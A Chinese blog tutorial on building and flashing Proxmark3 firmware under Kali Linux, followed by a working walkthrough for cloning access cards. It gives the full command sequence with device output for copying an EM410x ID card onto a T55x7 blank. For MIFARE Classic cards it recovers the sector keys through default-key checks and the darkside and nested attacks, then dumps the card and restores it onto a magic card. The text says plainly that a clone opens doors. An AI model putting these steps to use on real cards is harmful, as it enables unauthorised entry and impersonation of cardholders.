ProxMark3 复制IC卡,ID卡
本文最后更新于1821天前,其中的信息可能已经有所发展或是发生改变。

一、Kali Linux下ProxMark3客户端的编译和升级

以iceman的固件为例,iceman的固件提供了更多的特性,更新也更快。

1.安装依赖

sudo apt-get install p7zip git build-essential
sudo apt-get install libreadline5 libreadline-dev libusb-0.1-4 libusb-dev libqt4-dev perl pkg-config 
sudo apt-get install wget libncurses5-dev gcc-arm-none-eabi

2.复制iceman仓库,编译客户端

cd ~ ##切换到用户目录
git clone https://github.com/iceman1001/proxmark3.git ##克隆仓库
cd /proxmark3 ##进入目录
git pull ##更新仓库,后续升级可以直接从这一步开始
make clean && make all ##编译仓库

3.升级ProxMark3的固件

很多新手都会被所谓老鸟或者商家警告,不要自己刷固件,不要刷boot,容易让PM3变砖。实际上,一旦遇到固件升级失败,或者刷了相互不匹配的boot和image,只需要插拔PM3和刷固件的时候,按住PM3上的按钮进行强刷。在windows下面,遇到固件出错,电脑不识别的时候,也是只要一直按住PM3上的按钮即可把固件强刷到PM3里面。

sudo client/flasher /dev/ttyACM0 -b bootrom/obj/bootrom.elf
##调用client文件夹里的flasher刷写程序写入固件,先写入boot
client/flasher /dev/ttyACM0 armsrc/obj/fullimage.elf
##刷入镜像文件

其中设备的接口ACM0,通过下面的命令查看

dmesg | grep -i usb

如果是老版本的驱动,会采用HID的方式连接,需要升级成新版本的CDC方式。

二、ID和IC卡的复制攻击

1.判断卡类型的技巧

##进入proxmark3客户端
client/proxmark3 /dev/ttyACM0
hw tune
##测试信号是否正常,回显结果如下
pm3 --> hw tune
[=] measuring antenna characteristics, please wait...          
....          
[+] LF antenna: 24.08 V - 125.00 kHz          
[+] LF antenna: 21.10 V - 134.00 kHz          
[+] LF optimal: 24.50 V - 126.32 kHz          
[+] LF antenna is OK           
[+] HF antenna: 15.37 V - 13.56 MHz          
[+] HF antenna is OK          
          
[+]  Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.          
pm3 --> 

没有放入任何卡的时候,高频天线的电压是15.37V,或者根据实际情况有所不同,这是高频天线的非工作电压。

##放入高频卡时的电压变化
pm3 --> hw tune
[=] measuring antenna characteristics, please wait...
...
[+] LF antenna: 24.08 V - 125.00 kHz          
[+] LF antenna: 21.10 V - 134.00 kHz          
[+] LF optimal: 24.50 V - 126.32 kHz          
[+] LF antenna is OK 
[+] HF antenna: 14.20 V - 13.56 MHz          
[+] HF antenna is OK                    
[+]  Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.

电压下降了1V多,如果放在高频天线上的是低频卡,电压变化幅度不大。利用这个方法,可以简单的判断一下卡的类型。

pm3 --> hw tune          
[=] measuring antenna characteristics, please wait...          
....          
[+] LF antenna: 24.08 V - 125.00 kHz          
[+] LF antenna: 21.10 V - 134.00 kHz          
[+] LF optimal: 24.50 V - 126.32 kHz          
[+] LF antenna is OK 
   
[+] HF antenna: 15.74 V - 13.56 MHz          
[+] HF antenna is OK                    
[+]  Displaying LF tuning graph. Divisor 89 is 134khz, 95 is 125khz.

2.ID卡(低频:LF)复制

ID卡是出厂时写死ID,不可修改的低频卡。一般ID卡,仅仅是判断该卡的ID是否在数据库中,在就放行,不在就拒绝。所以只要把ID卡的ID写入到可复制的ID中,就可以过门禁。

##将ID卡放到proxmark3的低频天线上。
##读取ID的信息,其中lf是指采用低频工具包
pm3 --> lf search
NOTE: some demods output possible binary
  if it finds something that looks like a tag          
False Positives ARE possible
Checking for known tags:
          
EM410x  pattern found          

EM TAG ID      : 08003C9F5F          

Possible de-scramble patterns          
Unique TAG ID  : 10003CF9FA          
HoneyWell IdentKey {          
DEZ 8          : 03972959          
DEZ 10         : 0003972959          
DEZ 5.5        : 00060.40799          
DEZ 3.5A       : 008.40799          
DEZ 3.5B       : 000.40799          
DEZ 3.5C       : 060.40799          
DEZ 14/IK2     : 00034363711327          
DEZ 15/IK3     : 000068723472890          
DEZ 20/ZK      : 01000000031215091510          
}
Other          : 40799_060_03972959          
Pattern Paxton : 139517279 [0x850DD5F]          
Pattern 1      : 5597182 [0x5567FE]          
Pattern Sebury : 40799 60 3972959  [0x9F5F 0x3C 0x3C9F5F]               
[+] Valid EM410x ID Found!

从回显结果,可以获知卡的类型是EM410x,EM ID是08003C9F5F。接着直接写入新卡

if em 410x_write工具写入,最后1和64是写入的数据块大小

pm3 --> lf em 410x_write 08003C9F5F 1 64
Writing T55x7 tag with UID 0x08003c9f5f (clock rate: 64)          
#db# Started writing T55x7 tag ...          
#db# Clock rate: 64          
#db# Tag T55x7 written with 0xff822001b12f2bd6

3.IC卡复制

1读卡:hf 14a info

pm3 --> hf 14a info
 UID : 15 54 C6 AC           
ATQA : 00 04          
 SAK : 08 [2]          
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 | 1k Ev1          
[=] proprietary non iso14443-4 card found, RATS not supported          
[=] Answers to magic commands: NO          
[+] Prng detection: WEAK          
pm3 --> 

可以得到这张卡的UID是1554C6AC,卡的类型是mifare c1,即m1卡,存储空间时1k

2.破解卡的加密信息:弱口令测试
很多m1的卡,都采用出厂的弱口令,可以直接试出密码信息
hf mf chk *1 ? t

pm3 --> hf mf chk *1 ? t
No key specified, trying default keys          
[ 0] ffffffffffff          
[ 1] 000000000000          
[ 2] a0a1a2a3a4a5          
[ 3] b0b1b2b3b4b5          
[ 4] c0c1c2c3c4c5          
[ 5] d0d1d2d3d4d5          
[ 6] aabbccddeeff          
[ 7] 1a2b3c4d5e6f          
[ 8] 123456789abc          
[ 9] 010203040506          
[10] 123456abcdef          
[11] abcdef123456          
[12] 4d3a99c351dd          
[13] 1a982c7e459a          
[14] d3f7d3f7d3f7          
[15] 714c5c886e97          
[16] 587ee5f9350f          
[17] a0478cc39091          
[18] 533cb6c723f6          
[19] 8fd0a4f256e9          
................................
Time in checkkeys: 10 seconds
          
testing to read key B...          
|---|----------------|---|----------------|---|          
|sec|key A           |res|key B           |res|          
|---|----------------|---|----------------|---|          
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|005|  ------------  | 0 |  ------------  | 0 |          
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|010|  ------------  | 0 |  ffffffffffff  | 1 |          
|011|  ------------  | 0 |  ffffffffffff  | 1 |          
|012|  ------------  | 0 |  ffffffffffff  | 1 |          
|013|  ------------  | 0 |  ffffffffffff  | 1 |          
|014|  ------------  | 0 |  ffffffffffff  | 1 |          
|015|  ------------  | 0 |  ffffffffffff  | 1 |          
|---|----------------|---|----------------|---|          
Found keys have been transferred to the emulator memory   

回显的标识key a,key b就是每个扇区的密码,接着可以利用nested攻击,获取所有扇区的密码

2.破解卡的加密信息:darkside攻击
另外一种获取扇区密码的方式,如果不是冰人固件,修改为mfare
hf mf darkside

pm3 --> hf mf darkside
--------------------------------------------------------------------------------
          
executing Darkside attack. Expected execution time: 25sec on average          
press pm3-button on the proxmark3 device to abort both proxmark3 and client.          
--------------------------------------------------------------------------------
           
[+] Parity is all zero. Most likely this card sends NACK on every authentication.          
[-] no candidates found, trying again          
.          
[-] no candidates found, trying again          
.          
[+] found 12 candidate keys.
                    
[+] found valid key: ffffffffffff

得到一个有效的秘钥

3.破解卡的加密信息:获取全扇区秘钥
hf mf nested 1 0 A ffffffffffff d

pm3 --> hf mf nested 1 0 A ffffffffffff d
[+] Testing known keys. Sector count=16          

[-] Chunk: 1.4s | found 24/32 keys (21)          
[+] Time to check 20 known keys: 1 seconds
          
[+] enter nested attack          
[+] target block: 20 key type: A          
[+] target block: 20 key type: B  -- found valid key [eba93a57cfe0]          

[-] Chunk: 0.5s | found 1/32 keys (1)          
[+] target block: 40 key type: A          
[+] target block: 44 key type: A          
[+] target block: 48 key type: A  -- found valid key [505df95da97b]          

[-] Chunk: 0.5s | found 21/32 keys (1)          
[+] target block: 20 key type: A  -- found valid key [1456c5a8301f]          

[-] Chunk: 0.6s | found 2/32 keys (1)          
[+] time in nested: 8 seconds
          
[+] trying to read key B...          
|---|----------------|---|----------------|---|          
|sec|key A           |res|key B           |res|          
|---|----------------|---|----------------|---|          
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|005|  1456c5a8301f  | 1 |  eba93a57cfe0  | 1 |          
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|010|  505df95da97b  | 1 |  ffffffffffff  | 1 |          
|011|  505df95da97b  | 1 |  ffffffffffff  | 1 |          
|012|  505df95da97b  | 1 |  ffffffffffff  | 1 |          
|013|  505df95da97b  | 1 |  ffffffffffff  | 1 |          
|014|  505df95da97b  | 1 |  ffffffffffff  | 1 |          
|015|  505df95da97b  | 1 |  ffffffffffff  | 1 |          
|---|----------------|---|----------------|---|          
[+] saving keys to binary file hf-mf-1554C6AC-key.bin...  

获取全扇区的秘钥,并把二进制文件保存为*.bin,此时可以读取每一个扇区的数据

4.读取全扇区数据
hf mf dump

pm3 --> hf mf dump
|-----------------------------------------|          
|------ Reading sector access bits...-----|          
|-----------------------------------------|          
|-----------------------------------------|          
|----- Dumping all blocks to file... -----|          
|-----------------------------------------|          
[+] successfully read block  0 of sector  0.          
[+] successfully read block  1 of sector  0.          
[+] successfully read block  2 of sector  0.          
[+] successfully read block  3 of sector  0.          
     
[+] successfully read block  1 of sector 15.          
[+] successfully read block  2 of sector 15.          
[+] successfully read block  3 of sector 15.          
[+] dumped 64 blocks (1024 bytes) to file hf-mf-1554C6AC-data.bin   

成功写入文件

5.设置新卡uid,并写入全部数据完成复制
把可写的IC卡放到高频天线上,先写入读卡时获得的uid,再写入全扇区数据。

hf mf csetuid xxxxxxxx w
hf mf restore

点击数:1180

    暂无评论

    发送评论 编辑评论

    
    				
    |´・ω・)ノ
    ヾ(≧∇≦*)ゝ
    (☆ω☆)
    (╯‵□′)╯︵┴─┴
     ̄﹃ ̄
    (/ω\)
    ∠( ᐛ 」∠)_
    (๑•̀ㅁ•́ฅ)
    →_→
    ୧(๑•̀⌄•́๑)૭
    ٩(ˊᗜˋ*)و
    (ノ°ο°)ノ
    (´இ皿இ`)
    ⌇●﹏●⌇
    (ฅ´ω`ฅ)
    (╯°A°)╯︵○○○
    φ( ̄∇ ̄o)
    ヾ(´・ ・`。)ノ"
    ( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
    (ó﹏ò。)
    Σ(っ °Д °;)っ
    ( ,,´・ω・)ノ"(´っω・`。)
    ╮(╯▽╰)╭
    o(*////▽////*)q
    >﹏<
    ( ๑´•ω•) "(ㆆᴗㆆ)
    😂
    😀
    😅
    😊
    🙂
    🙃
    😌
    😍
    😘
    😜
    😝
    😏
    😒
    🙄
    😳
    😡
    😔
    😫
    😱
    😭
    💩
    👻
    🙌
    🖕
    👍
    👫
    👬
    👭
    🌚
    🌝
    🙈
    💊
    😶
    🙏
    🍦
    🍉
    😣
    Source: github.com/k4yt3x/flowerhd
    颜文字
    Emoji
    小恐龙
    花!
    上一篇
    下一篇